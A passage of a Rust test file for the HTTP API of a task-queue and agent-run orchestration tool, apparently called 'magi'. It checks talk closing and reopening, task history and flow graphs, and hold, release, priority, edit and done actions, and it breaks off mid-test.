9123 async fn talk_close_makes_the_talk_refuse_further_turns() {
9124 let f = Fixture::start().await;
9125 let id = seed_talk(&f, "20260904-014455-cd34", "open");
9126
9127 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
9128 assert_eq!(closed.status, 200, "{}", closed.body);
9129 assert_eq!(closed.json()["status"], "closed");
9130
9131 let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
9133 assert_eq!(closed_again.status, 200);
9134 assert_eq!(closed_again.json()["status"], "closed");
9135
9136 let said = f
9137 .post(
9138 &format!("/api/talks/{id}/say"),
9139 Some(r#"{"text":"too late"}"#),
9140 )
9141 .await;
9142 assert_eq!(said.status, 409, "{}", said.body);
9143 }
9144
9145 #[tokio::test]
9146 async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
9147 let (_tmp, _repo, f) = talk_fixture().await;
9148 let id = f.post("/api/talks", None).await.json()["id"]
9149 .as_str()
9150 .expect("id")
9151 .to_owned();
9152 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
9153 assert_eq!(closed.status, 200, "{}", closed.body);
9154
9155 let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
9156 assert_eq!(reopened.status, 200, "{}", reopened.body);
9157 assert_eq!(reopened.json()["status"], "open");
9158
9159 let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
9161 assert_eq!(reopened_again.status, 200);
9162 assert_eq!(reopened_again.json()["status"], "open");
9163
9164 let said = f
9165 .post(
9166 &format!("/api/talks/{id}/say"),
9167 Some(r#"{"text":"still there?"}"#),
9168 )
9169 .await;
9170 assert_eq!(
9171 said.status, 202,
9172 "a reopened talk accepts turns again: {}",
9173 said.body
9174 );
9175 }
9176
9177 #[tokio::test]
9178 async fn talk_reopen_on_an_unknown_id_is_404() {
9179 let f = Fixture::start().await;
9180 let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
9181 assert_eq!(res.status, 404, "{}", res.body);
9182 }
9183
9184 #[tokio::test]
9185 async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
9186 let f = Fixture::start().await;
9187 let id = seed_talk(&f, "20260904-014455-ef56", "closed");
9188
9189 let deleted = f.delete(&format!("/api/talks/{id}")).await;
9190 assert_eq!(deleted.status, 204, "{}", deleted.body);
9191
9192 let after = f.get(&format!("/api/talks/{id}")).await;
9193 assert_eq!(after.status, 404, "{}", after.body);
9194
9195 let listed = f.get("/api/talks").await.json();
9196 assert!(
9197 listed.as_array().unwrap().iter().all(|t| t["id"] != id),
9198 "a deleted talk must not linger in the list: {listed}"
9199 );
9200 }
9201
9202 #[tokio::test]
9203 async fn talk_delete_on_an_unknown_id_is_404() {
9204 let f = Fixture::start().await;
9205 let res = f.delete("/api/talks/nonexistent-id").await;
9206 assert_eq!(res.status, 404, "{}", res.body);
9207 }
9208
9209 #[tokio::test]
9213 async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
9214 let f = Fixture::start().await;
9215 let (a, b, gone) = (
9216 "20260902-140501-aaaa",
9217 "20260902-140502-bbbb",
9218 "20260902-140503-cccc",
9219 );
9220 write_run(&f.runs(), a, RunStatus::Stalled);
9221 let mut review = RunState::new(
9222 PathBuf::from("/repo/magi"),
9223 "main".to_owned(),
9224 "0123456789abcdef".to_owned(),
9225 "Review the work already on branch `magi/aaaa/A`. There is no task statement."
9226 .to_owned(),
9227 Config::default(),
9228 );
9229 review.id = b.to_owned();
9230 review.status = RunStatus::Merged;
9231 write_state(&f.runs(), &review);
9232
9233 let mut task = Task::new(
9234 "retry".to_owned(),
9235 "Do the thing".to_owned(),
9236 PathBuf::from("/repo/magi"),
9237 Source::Human,
9238 );
9239 task.start(a.to_owned());
9240 task.stall("quota");
9241 task.start(a.to_owned());
9242 task.start(b.to_owned());
9243 task.start(gone.to_owned());
9244 f.queue().put(&mut task).expect("file the task");
9245
9246 let res = f.get(&format!("/api/queue/{}", task.id)).await;
9247 assert_eq!(res.status, 200, "{}", res.body);
9248 let v = res.json();
9249 let h = v["history"].as_array().expect("history");
9250 assert_eq!(h.len(), 4, "{v}");
9251 assert_eq!(h[0]["kind"], "competition");
9252 assert_eq!(h[0]["status"], "stalled");
9253 assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
9254 assert_eq!(h[1]["kind"], "resume", "{v}");
9255 assert!(
9256 h[0]["outcome"]
9257 .as_str()
9258 .unwrap()
9259 .contains("unknown. Pass #2"),
9260 "an earlier pass of a resumed run must not claim the final outcome: {v}"
9261 );
9262 assert!(
9263 !h[1]["outcome"].as_str().unwrap().contains("unknown."),
9264 "{v}"
9265 );
9266 assert!(
9267 !h[0]["outcome"].as_str().unwrap().contains("parked it"),
9268 "an unrecorded cause must not be narrated as an operator park: {v}"
9269 );
9270 assert_eq!(h[2]["kind"], "review");
9271 assert!(
9272 h[2]["description"]
9273 .as_str()
9274 .unwrap()
9275 .contains("magi/aaaa/A")
9276 );
9277 assert_eq!(h[2]["status"], "merged");
9278 assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
9279 assert_eq!(v["runs_unreadable"], 1);
9280 let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
9281 assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
9282 assert_eq!(nodes[4]["note"], "unreadable");
9283 assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
9284 assert_eq!(v["instruction"], "Do the thing");
9285 assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
9286
9287 let run = f.get(&format!("/api/runs/{a}")).await.json();
9289 assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
9290
9291 assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
9292 }
9293
9294 fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
9295 let mut s = RunState::new(
9296 PathBuf::from("/repo/magi"),
9297 "main".to_owned(),
9298 "0123456789abcdef".to_owned(),
9299 "Do it".to_owned(),
9300 Config::default(),
9301 );
9302 s.status = status;
9303 edit(&mut s);
9304 s
9305 }
9306
9307 fn flow_task(runs: &[&str]) -> Task {
9308 let mut t = Task::new(
9309 "t".to_owned(),
9310 "Do it".to_owned(),
9311 PathBuf::from("/repo/magi"),
9312 Source::Human,
9313 );
9314 for r in runs {
9315 t.start((*r).to_owned());
9316 }
9317 t
9318 }
9319
9320 fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
9321 let h = task_history(task, |id| {
9322 states
9323 .iter()
9324 .find(|(i, _)| *i == id)
9325 .and_then(|(_, s)| s.clone())
9326 });
9327 task_flow(task, &h, 5)
9328 }
9329
9330 #[test]
9331 fn flow_opens_with_the_chat_that_queued_the_task() {
9332 let mut t = flow_task(&[]);
9333 t.source = Source::Agent {
9334 run: "a b/c".to_owned(),
9335 node: crate::queue::CHAT_NODE.to_owned(),
9336 };
9337 let f = flow_for(&t, &[]);
9338 assert_eq!(f.nodes[0].key, "chat");
9339 assert_eq!(f.nodes[0].kind, "chat");
9340 assert_eq!(
9341 f.nodes[0].label,
9342 format!("Chat {}", crate::queue::short("a b/c"))
9343 );
9344 assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
9345 assert_eq!(f.nodes[1].key, "start");
9346 assert_eq!(
9347 f.edges[0],
9348 FlowEdge {
9349 from: "chat".to_owned(),
9350 to: "start".to_owned(),
9351 label: "queued from chat".to_owned(),
9352 attempt: AttemptCost::None,
9353 }
9354 );
9355 }
9356
9357 #[test]
9358 fn flow_has_no_chat_box_for_other_sources() {
9359 for source in [
9360 Source::Human,
9361 Source::Issue {
9362 number: 3,
9363 repo: "o/r".to_owned(),
9364 },
9365 Source::Agent {
9366 run: "20260904-014455-ab12".to_owned(),
9367 node: "implement".to_owned(),
9368 },
9369 ] {
9370 let mut t = flow_task(&[]);
9371 t.source = source;
9372 let f = flow_for(&t, &[]);
9373 assert_eq!(f.nodes[0].key, "start");
9374 assert!(f.nodes.iter().all(|n| n.kind != "chat"));
9375 assert!(f.edges.iter().all(|e| e.from != "chat"));
9376 }
9377 }
9378
9379 const FA: &str = "20260902-140501-aaaa";
9380 const FB: &str = "20260902-140502-bbbb";
9381
9382 #[test]
9383 fn flow_follows_blocked_retry_merged_to_done() {
9384 let mut t = flow_task(&[FA, FB]);
9385 t.status = TaskStatus::Done;
9386 let f = flow_for(
9387 &t,
9388 &[
9389 (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
9390 (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
9391 ],
9392 );
9393 let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
9394 assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
9395 assert_eq!(f.edges.len(), 3);
9396 assert_eq!(f.edges[0].label, "claimed");
9397 assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
9398 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
9399 assert_eq!(f.edges[2].label, "merged \u{2192} done");
9400 assert_eq!(
9401 f.nodes[2].href.as_deref(),
9402 Some("#/runs/20260902-140502-bbbb")
9403 );
9404 assert!(f.nodes[2].decided);
9405 }
9406
9407 #[test]
9408 fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
9409 let quota = || {
9410 flow_run(RunStatus::Stalled, |s| {
9411 s.quota.push(crate::run::QuotaLoss {
9412 seat: "judge-1".to_owned(),
9413 node: "judge".to_owned(),
9414 at: Timestamp::now(),
9415 reset: None,
9416 })
9417 })
9418 };
9419 let mut t = flow_task(&[FA, FA]);
9420 t.status = TaskStatus::Queued;
9421 let f = flow_for(&t, &[(FA, Some(quota()))]);
9422 assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
9423 assert_eq!(f.nodes[1].note, Some("interrupted"));
9424 assert_eq!(
9425 f.nodes[1].status, None,
9426 "no outcome copied onto an earlier pass"
9427 );
9428 assert_eq!(
9429 f.edges[1].attempt,
9430 AttemptCost::Unknown,
9431 "a resume does not prove the earlier pass was refunded"
9432 );
9433 assert!(f.edges[1].label.contains("resume the same run"));
9434 assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
9435 assert_eq!(
9436 f.edges[2].label,
9437 "stalled after a resume, refund unknown \u{2192} queued"
9438 );
9439 assert!(!f.nodes[2].decided, "a stall is not a decision");
9440 assert_eq!(f.nodes[2].note, Some("no verdict"));
9441 }
9442
9443 #[test]
9444 fn flow_single_pass_quota_stall_is_refunded() {
9445 let t = flow_task(&[FA]);
9446 let f = flow_for(
9447 &t,
9448 &[(
9449 FA,
9450 Some(flow_run(RunStatus::Stalled, |s| {
9451 s.quota.push(crate::run::QuotaLoss {
9452 seat: "judge-1".to_owned(),
9453 node: "judge".to_owned(),
9454 at: Timestamp::now(),
9455 reset: None,
9456 })
9457 })),
9458 )],
9459 );
9460 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
9461 }
9462
9463 #[test]
9464 fn flow_parked_refunds_and_stall_without_quota_spends() {
9465 let mut t = flow_task(&[FA]);
9466 t.status = TaskStatus::Queued;
9467 let f = flow_for(
9468 &t,
9469 &[(
9470 FA,
9471 Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
9472 )],
9473 );
9474 assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
9475 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
9476 let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
9477 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
9478 assert!(!f.nodes[1].decided);
9479 }
9480
9481 #[test]
9482 fn flow_keeps_an_unreadable_run_as_its_own_node() {
9483 let t = flow_task(&[FA, FB]);
9484 let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
9485 assert_eq!(f.nodes[1].note, Some("unreadable"));
9486 assert!(!f.nodes[1].readable);
9487 assert_eq!(f.nodes[1].run_kind, Some("unknown"));
9488 assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
9489 }
9490
9491 #[test]
9492 fn flow_names_the_branch_of_a_review_only_run() {
9493 let t = flow_task(&[FA]);
9494 let f = flow_for(
9495 &t,
9496 &[(
9497 FA,
9498 Some(flow_run(RunStatus::Merged, |s| {
9499 s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
9500 })),
9501 )],
9502 );
9503 assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
9504 assert_eq!(
9505 f.nodes[1].detail.as_deref(),
9506 Some("review-only run of branch magi/x/A")
9507 );
9508 }
9509
9510 #[test]
9511 fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
9512 let mut t = flow_task(&[FA]);
9513 t.status = TaskStatus::Held;
9514 let pr = crate::run::PrRecord {
9515 url: "https://example.test/pr/1".to_owned(),
9516 number: 1,
9517 state: "open".to_owned(),
9518 checks: "green".to_owned(),
9519 round: 0,
9520 rounds: 3,
9521 red_at_merge: Vec::new(),
9522 };
9523 let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
9524 let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
9525 assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
9526 t.status = TaskStatus::Done;
9527 let f = flow_for(&t, &[(FA, Some(blocked))]);
9528 assert_eq!(f.edges[1].label, "closed by hand: task is done");
9529 }
9530
9531 #[test]
9532 fn flow_with_no_runs_goes_from_queued_to_queued() {
9533 let t = flow_task(&[]);
9534 let f = flow_for(&t, &[]);
9535 assert_eq!(f.nodes.len(), 2);
9536 assert_eq!(f.edges.len(), 1);
9537 assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
9538 assert_eq!(f.edges[0].attempt, AttemptCost::None);
9539 }
9540
9541 #[test]
9544 fn a_parked_non_terminal_run_is_explained_as_parked() {
9545 let mut s = RunState::new(
9546 PathBuf::from("/repo/magi"),
9547 "main".to_owned(),
9548 "0123456789abcdef".to_owned(),
9549 "Do it".to_owned(),
9550 Config::default(),
9551 );
9552 s.status = RunStatus::Implementing;
9553 s.parked = true;
9554 let task = Task::new(
9555 "t".to_owned(),
9556 "Do it".to_owned(),
9557 PathBuf::from("/repo/magi"),
9558 Source::Human,
9559 );
9560 let v = task_run_view(
9561 "20260902-140501-aaaa",
9562 Some(&s),
9563 RunSlot {
9564 n: 1,
9565 resumed: false,
9566 resumed_later: None,
9567 prior: None,
9568 last: true,
9569 },
9570 &task,
9571 );
9572 assert!(v.outcome.contains("Parked"), "{}", v.outcome);
9573 }
9574
9575 fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
9576 let mut s = flow_run(RunStatus::Implementing, edit);
9577 s.parked = false;
9578 let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
9579 task_run_view(
9580 "20260902-140501-aaaa",
9581 Some(&s),
9582 RunSlot {
9583 n: 1,
9584 resumed: false,
9585 resumed_later: Some(2),
9586 prior: None,
9587 last: false,
9588 },
9589 &task,
9590 )
9591 }
9592
9593 #[test]
9594 fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
9595 let v = earlier_pass_view(|_| {});
9596 assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
9597 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
9598 assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
9599 assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
9600 assert_eq!(v.exit, RunExit::Interrupted);
9601 assert_eq!(v.attempt, AttemptCost::Unknown);
9602 }
9603
9604 #[test]
9605 fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
9606 let v = earlier_pass_view(|s| {
9607 s.quota.push(crate::run::QuotaLoss {
9608 seat: "judge-1".to_owned(),
9609 node: "judge".to_owned(),
9610 at: Timestamp::now(),
9611 reset: None,
9612 });
9613 });
9614 assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
9615 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
9616 assert_eq!(v.attempt, AttemptCost::Unknown);
9617 }
9618
9619 #[test]
9620 fn the_current_pass_states_its_recorded_cause_and_cost() {
9621 let slot = || RunSlot {
9622 n: 1,
9623 resumed: false,
9624 resumed_later: None,
9625 prior: None,
9626 last: true,
9627 };
9628 let task = flow_task(&["20260902-140501-aaaa"]);
9629 let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
9630 let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
9631 assert_eq!(
9632 (v.exit, v.attempt),
9633 (RunExit::Parked, AttemptCost::Refunded)
9634 );
9635 let spent = flow_run(RunStatus::Blocked, |_| {});
9636 let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
9637 assert_eq!(v.attempt, AttemptCost::Spent);
9638 assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
9639 }
9640
9641 #[tokio::test]
9642 async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
9643 let f = Fixture::start().await;
9644 let queue = f.queue();
9645 let mut task = Task::new(
9646 "spent".to_owned(),
9647 "Try again".to_owned(),
9648 PathBuf::from("/repo/magi"),
9649 Source::Human,
9650 );
9651 task.start("20260902-140502-bbbb".to_owned());
9652 task.fail("agent gave up", 9);
9653 queue.put(&mut task).expect("file the task");
9654
9655 let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
9656 assert_eq!(held.status, 200);
9657 assert_eq!(held.json()["status_str"], "held");
9658
9659 let released = f
9660 .post(&format!("/api/queue/{}/release", task.id), None)
9661 .await;
9662 assert_eq!(released.status, 200);
9663 assert_eq!(released.json()["status_str"], "queued");
9664 assert_eq!(
9665 released.json()["attempts"],
9666 0,
9667 "release is a real second chance, not an instant re-hold"
9668 );
9669 assert_eq!(
9670 queue.get(&task.id).expect("reload").status,
9671 TaskStatus::Queued,
9672 "the change is on disk, not only in the reply"
9673 );
9674 assert!(
9675 !f.home
9676 .path()
9677 .join("queue")
9678 .join(format!("{}.lock", task.id))
9679 .exists(),
9680 "the claim the mutation took is released again"
9681 );
9682 }
9683
9684 #[tokio::test]
9685 async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
9686 let f = Fixture::start().await;
9687 let queue = f.queue();
9688 let mut task = Task::new(
9689 "busy".to_owned(),
9690 "Running right now".to_owned(),
9691 PathBuf::from("/repo/magi"),
9692 Source::Human,
9693 );
9694 queue.put(&mut task).expect("file the task");
9695 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
9696
9697 let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
9698
9699 assert_eq!(res.status, 409);
9700 assert_eq!(
9701 queue.get(&task.id).expect("reload").status,
9702 TaskStatus::Queued,
9703 "the refused hold changed nothing"
9704 );
9705 }
9706
9707 #[tokio::test]
9708 async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
9709 let f = Fixture::start().await;
9710 let queue = f.queue();
9711 let mut task = Task::new(
9712 "waiting on the migration".to_owned(),
9713 "Do the thing".to_owned(),
9714 PathBuf::from("/repo/magi"),
9715 Source::Human,
9716 );
9717 queue.put(&mut task).expect("file the task");
9718
9719 let held = f
9720 .post(
9721 &format!("/api/queue/{}/hold", task.id),
9722 Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
9723 )
9724 .await;
9725 assert_eq!(held.status, 200, "{}", held.body);
9726 assert_eq!(held.json()["status_str"], "held");
9727 assert_eq!(
9728 held.json()["hold_reason"],
9729 "waiting for 20260101-000000-aaaa to land"
9730 );
9731
9732 let listed = f.get("/api/queue").await.json();
9733 assert_eq!(
9734 listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
9735 "the card reads the reason off the same list route"
9736 );
9737
9738 let mut plain = Task::new(
9741 "no reason given".to_owned(),
9742 "Do another thing".to_owned(),
9743 PathBuf::from("/repo/magi"),
9744 Source::Human,
9745 );
9746 queue.put(&mut plain).expect("file the task");
9747 let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
9748 assert_eq!(held_plain.status, 200, "{}", held_plain.body);
9749 assert!(held_plain.json()["hold_reason"].is_null());
9750
9751 let released = f
9752 .post(&format!("/api/queue/{}/release", task.id), None)
9753 .await;
9754 assert_eq!(released.status, 200);
9755 assert!(
9756 released.json()["hold_reason"].is_null(),
9757 "a release must clear the reason so the next hold does not inherit it"
9758 );
9759 }
9760
9761 #[tokio::test]
9762 async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
9763 let f = Fixture::start().await;
9764 let queue = f.queue();
9765 let mut older = Task::new(
9766 "filed first".to_owned(),
9767 "x".to_owned(),
9768 PathBuf::from("/repo/magi"),
9769 Source::Human,
9770 );
9771 older.id = "20260101-000001-aaaa".to_owned();
9772 let mut newer = Task::new(
9773 "filed second".to_owned(),
9774 "x".to_owned(),
9775 PathBuf::from("/repo/magi"),
9776 Source::Human,
9777 );
9778 newer.id = "20260101-000002-bbbb".to_owned();
9779 queue.put(&mut older).expect("file older");
9780 queue.put(&mut newer).expect("file newer");
9781
9782 let before = f.get("/api/queue").await.json();
9785 assert_eq!(before[0]["id"], newer.id);
9786 assert_eq!(before[1]["id"], older.id);
9787
9788 let raised = f
9792 .post(
9793 &format!("/api/queue/{}/priority", older.id),
9794 Some(r#"{"priority":10}"#),
9795 )
9796 .await;
9797 assert_eq!(raised.status, 200, "{}", raised.body);
9798 assert_eq!(raised.json()["priority"], 10);
9799
9800 let after = f.get("/api/queue").await.json();
9801 let names: Vec<&str> = after
9802 .as_array()
9803 .unwrap()
9804 .iter()
9805 .map(|t| t["id"].as_str().unwrap())
9806 .collect();
9807 assert_eq!(names[0], older.id, "the raised task now sorts first");
9811 }
9812
9813 #[tokio::test]
9814 async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
9815 let f = Fixture::start().await;
9816 let queue = f.queue();
9817 let mut task = Task::new(
9818 "in flight".to_owned(),
9819 "x".to_owned(),
9820 PathBuf::from("/repo/magi"),
9821 Source::Human,
9822 );
9823 task.start("20260902-140502-bbbb".to_owned());
9824 queue.put(&mut task).expect("file the task");
9825
9826 let res = f
9827 .post(
9828 &format!("/api/queue/{}/priority", task.id),
9829 Some(r#"{"priority":9}"#),
9830 )
9831 .await;
9832 assert_eq!(res.status, 400, "{}", res.body);
9833 assert!(
9834 res.json()["error"]
9835 .as_str()
9836 .is_some_and(|e| e.contains("running")),
9837 "{}",
9838 res.body
9839 );
9840 assert_eq!(
9841 queue.get(&task.id).expect("reload").priority,
9842 0,
9843 "the refused write must not partially apply"
9844 );
9845 }
9846
9847 #[tokio::test]
9848 async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
9849 let f = Fixture::start().await;
9850 let queue = f.queue();
9851 let mut task = Task::new(
9852 "old title".to_owned(),
9853 "old instruction".to_owned(),
9854 PathBuf::from("/repo/magi"),
9855 Source::Agent {
9856 run: "20260101-000000-beef".to_owned(),
9857 node: "implement".to_owned(),
9858 },
9859 );
9860 task.runs.push("20260101-000000-beef".to_owned());
9861 queue.put(&mut task).expect("file the task");
9862 let created_at = task.created_at;
9863
9864 let edited = f
9865 .post(
9866 &format!("/api/queue/{}/edit", task.id),
9867 Some(r#"{"title":"new title","instruction":"new instruction"}"#),
9868 )
9869 .await;
9870 assert_eq!(edited.status, 200, "{}", edited.body);
9871 let body = edited.json();
9872 assert_eq!(body["title"], "new title");
9873 assert_eq!(body["instruction"], "new instruction");
9874 assert_eq!(body["id"], task.id, "editing must not mint a new id");
9875 assert_eq!(body["created_at"], created_at.to_string());
9876 assert_eq!(
9877 body["source"]["kind"], "agent",
9878 "editing a task an agent filed must not turn it human: {body}"
9879 );
9880 assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
9881
9882 let reloaded = queue.get(&task.id).expect("reload");
9883 assert_eq!(reloaded.title, "new title");
9884 assert_eq!(reloaded.instruction, "new instruction");
9885 }
9886
9887 #[tokio::test]
9888 async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
9889 let f = Fixture::start().await;
9890 let queue = f.queue();
9891 let mut owner = Task::new(
9892 "owner".to_owned(),
9893 "review it".to_owned(),
9894 PathBuf::from("/repo/magi"),
9895 Source::Human,
9896 );
9897 owner.review_branch = Some("magi/ab12/A".to_owned());
9898 queue.put(&mut owner).expect("file the owner");
9899 let mut task = Task::new(
9900 "draft".to_owned(),
9901 "old".to_owned(),
9902 PathBuf::from("/repo/magi"),
9903 Source::Human,
9904 );
9905 queue.put(&mut task).expect("file the draft");
9906 let url = format!("/api/queue/{}/edit", task.id);
9907
9908 let refused = f
9909 .post(
9910 &url,
9911 Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
9912 )
9913 .await;
9914 assert_eq!(refused.status, 409, "{}", refused.body);
9915 let msg = refused.json()["error"]
9916 .as_str()
9917 .unwrap_or_default()
9918 .to_owned();
9919 assert!(
9920 msg.contains("magi/ab12/A") && msg.contains("force"),
9921 "{msg}"
9922 );
9923 assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
9924
9925 let forced = f
9926 .post(
9927 &url,
9928 Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
9929 )
9930 .await;
9931 assert_eq!(forced.status, 200, "{}", forced.body);
9932 }
9933
9934 #[tokio::test]
9935 async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
9936 let f = Fixture::start().await;
9937 let queue = f.queue();
9938 let mut task = Task::new(
9939 "in flight".to_owned(),
9940 "do not touch".to_owned(),
9941 PathBuf::from("/repo/magi"),
9942 Source::Human,
9943 );
9944 task.start("20260902-140502-bbbb".to_owned());
9945 queue.put(&mut task).expect("file the task");
9946
9947 let res = f
9948 .post(
9949 &format!("/api/queue/{}/edit", task.id),
9950 Some(r#"{"title":"x","instruction":"y"}"#),
9951 )
9952 .await;
9953 assert_eq!(res.status, 400, "{}", res.body);
9954 assert!(
9955 res.json()["error"]
9956 .as_str()
9957 .is_some_and(|e| e.contains("running")),
9958 "{}",
9959 res.body
9960 );
9961 assert_eq!(
9962 queue.get(&task.id).expect("reload").instruction,
9963 "do not touch",
9964 "the refused edit must not change the file"
9965 );
9966 }
9967
9968 #[tokio::test]
9969 async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
9970 let f = Fixture::start().await;
9971 let queue = f.queue();
9972 let mut task = Task::new(
9973 "busy".to_owned(),
9974 "Running right now".to_owned(),
9975 PathBuf::from("/repo/magi"),
9976 Source::Human,
9977 );
9978 queue.put(&mut task).expect("file the task");
9979 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
9980
9981 let priority = f
9982 .post(
9983 &format!("/api/queue/{}/priority", task.id),
9984 Some(r#"{"priority":9}"#),
9985 )
9986 .await;
9987 assert_eq!(priority.status, 409, "{}", priority.body);
9988
9989 let edit = f
9990 .post(
9991 &format!("/api/queue/{}/edit", task.id),
9992 Some(r#"{"title":"x","instruction":"y"}"#),
9993 )
9994 .await;
9995 assert_eq!(edit.status, 409, "{}", edit.body);
9996 }
9997
9998 #[tokio::test]
9999 async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
10000 let f = Fixture::start().await;
10001 let queue = f.queue();
10002 let mut task = Task::new(
10003 "shipped by hand".to_owned(),
10004 "merged outside the loop".to_owned(),
10005 PathBuf::from("/repo/magi"),
10006 Source::Agent {
10007 run: "20260101-000000-b455".to_owned(),
10008 node: "implement".to_owned(),
10009 },
10010 );
10011 task.runs.push("20260101-000000-b455".to_owned());
10012 task.runs.push("20260101-000000-9af4".to_owned());
10013 queue.put(&mut task).expect("file the task");
10014 let created_at = task.created_at;
10015
10016 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
10017 assert_eq!(done.status, 200, "{}", done.body);
10018 assert_eq!(done.json()["status_str"], "done");
10019
10020 let reloaded = queue.get(&task.id).expect("a done task is still on disk");
10021 assert_eq!(
10022 reloaded.runs,
10023 ["20260101-000000-b455", "20260101-000000-9af4"]
10024 );
10025 assert_eq!(
10026 reloaded.source,
10027 Source::Agent {
10028 run: "20260101-000000-b455".to_owned(),
10029 node: "implement".to_owned(),
10030 }
10031 );
10032 assert_eq!(reloaded.created_at, created_at);
10033 }
10034
10035 #[tokio::test]
10036 async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
10037 let f = Fixture::start().await;
10042 let queue = f.queue();
10043 let mut task = Task::new(
10044 "landed while held".to_owned(),
10045 "x".to_owned(),
10046 PathBuf::from("/repo/magi"),
10047 Source::Human,
10048 );
10049 task.hold_manual(Some("waiting on 3ed9".to_owned()));
10050 queue.put(&mut task).expect("file the held task");
10051
10052 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
10053 assert_eq!(done.status, 200, "{}", done.body);
10054 assert_eq!(done.json()["status_str"], "done");
10055 assert!(
10056 done.json()["hold_reason"].is_null(),
10057 "a done task cannot still be waiting on something: {}",
10058 done.body
10059 );
10060 }
10061
10062 #[tokio::test]
10063 async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
10064 let f = Fixture::start().await;
10069 let queue = f.queue();
10070 let runs = f.runs();
10071 write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
10072 write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
10076
10077 let mut task = Task::new(
10078 "landed by hand".to_owned(),
10079 "x".to_owned(),
10080 PathBuf::from("/repo/magi"),
10081 Source::Human,
10082 );
10083 task.runs.push("20260101-000000-doa1".to_owned());
10084 task.runs.push("20260101-000000-doa2".to_owned());
10085 queue.put(&mut task).expect("file the task");
10086
10087 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
10088 assert_eq!(done.status, 200, "{}", done.body);
10089
